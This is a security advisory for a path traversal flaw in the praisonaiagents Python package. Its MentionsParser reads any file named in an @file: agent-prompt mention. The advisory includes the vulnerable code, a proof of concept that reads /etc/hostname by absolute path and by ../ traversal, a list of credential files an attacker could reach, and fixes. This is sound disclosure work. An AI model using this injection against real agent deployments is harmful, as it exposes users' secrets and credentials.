PT-2026-53119 · Pypi · Praisonaiagents

Published

2026-06-18

·

Updated

2026-06-18

CVSS v3.1

7.5

High

VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

The MentionsParser in src/praisonai-agents/praisonaiagents/tools/mentions.py processes @file: mentions in agent prompts by reading arbitrary files from the filesystem. When a file path is not found relative to the workspace, the parser falls back to using the path as an absolute path without any validation or boundary check. This allows an attacker who can influence agent prompts (via chat messages, Telegram/Discord/Slack bot inputs, or YAML workflow configs) to read any file on the filesystem accessible to the process user.

Details

Vulnerable code (lines 165–178):
python
def process file mention(self, file path: str) -> Optional[str]:
  """Process @file:path mention."""
  try:
    # Resolve path relative to workspace
    full path = self.workspace path / file path
    if not full path.exists():
      # Try as absolute path
      full path = Path(file path)
    
    if not full path.exists():
      self. log(f"File not found: {file path}", logging.WARNING)
      return f"# File: {file path}
[File not found]"
    
    content = full path.read text(encoding="utf-8")
The vulnerability is in the fallback at line 171–172: When the file is not found relative to workspace path, the code constructs full path = Path(file path), which accepts any absolute or relative path without validation. There is no:
  • .. path traversal check
  • Workspace boundary validation
  • Symlink resolution against workspace
  • Protected path guard
The file path parameter originates from parsing @file: mentions in user/LLM prompts. The MentionsParser is used across the framework to process mentions in agent instructions and user messages.
Contrast with skill tools.py read skill file (lines 140–193), which properly validates:
python
# skill tools.py line 179 — proper validation
if os.path.commonpath([full path, skill path]) != skill path:
  return f"Error: Path traversal detected - {file path} is outside skill directory"

PoC

Setup: Clean checkout at commit d5f1114a.
Positive trigger — arbitrary file read via @file: mention:
python
import sys
sys.path.insert(0, 'src/praisonai-agents')
from praisonaiagents.tools.mentions import MentionsParser

parser = MentionsParser()

# Test 1: Absolute path read (bypasses workspace resolution)
result = parser. process file mention('/etc/hostname')
print(f'Absolute path read: {result[:80]}...')

# Test 2: Relative path with traversal
result = parser. process file mention('../../../etc/hostname')
print(f'Traversal read: {result[:80]}...')
Expected output:
Absolute path read: # File: /etc/hostname
```linux
<hostname>
```...
Traversal read: # File: ../../../etc/hostname
```linux
<hostname>
```...
Negative control — non-existent file:
python
result = parser. process file mention('/nonexistent/secret.txt')
# Returns: "# File: /nonexistent/secret.txt
[File not found]"
Cleanup: No persistence or side effects — read-only operation.

Impact

An attacker who can inject @file: mentions into agent prompts (via chat messages in Telegram/Discord/Slack bots, user input in web UI, or YAML workflow configurations) can read any file accessible to the process user, including:
  • Secrets and credentials: .env files, ~/.aws/credentials, ~/.ssh/id rsa, API keys
  • Configuration files: Database passwords, JWT secrets, OAuth tokens
  • Source code: Application internals, database schemas
  • System files: /etc/passwd, /etc/shadow (if process has read access)
This is particularly dangerous in bot deployments where auto approve tools defaults to True and untrusted users can send messages containing @file: mentions.

Suggested remediation

  1. Remove the absolute path fallback. Only resolve files within workspace path:
python
def process file mention(self, file path: str) -> Optional[str]:
  full path = (self.workspace path / file path).resolve()
  # Ensure resolved path is within workspace
  if not str(full path).startswith(str(self.workspace path.resolve())):
    return f"# File: {file path}
[Access denied: path outside workspace]"
  if not full path.exists():
    return f"# File: {file path}
[File not found]"
  content = full path.read text(encoding="utf-8")
  1. Add symlink resolution via .resolve() to prevent symlink-based traversal.
  2. Add a protected path guard (.env, .git, .ssh, keys, credentials).
  3. Apply the same os.path.commonpath pattern used by skill tools.py.

Fix

Path traversal

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-22

Related Identifiers

GHSA-2RCG-MM5H-XCHX

Affected Products

Praisonaiagents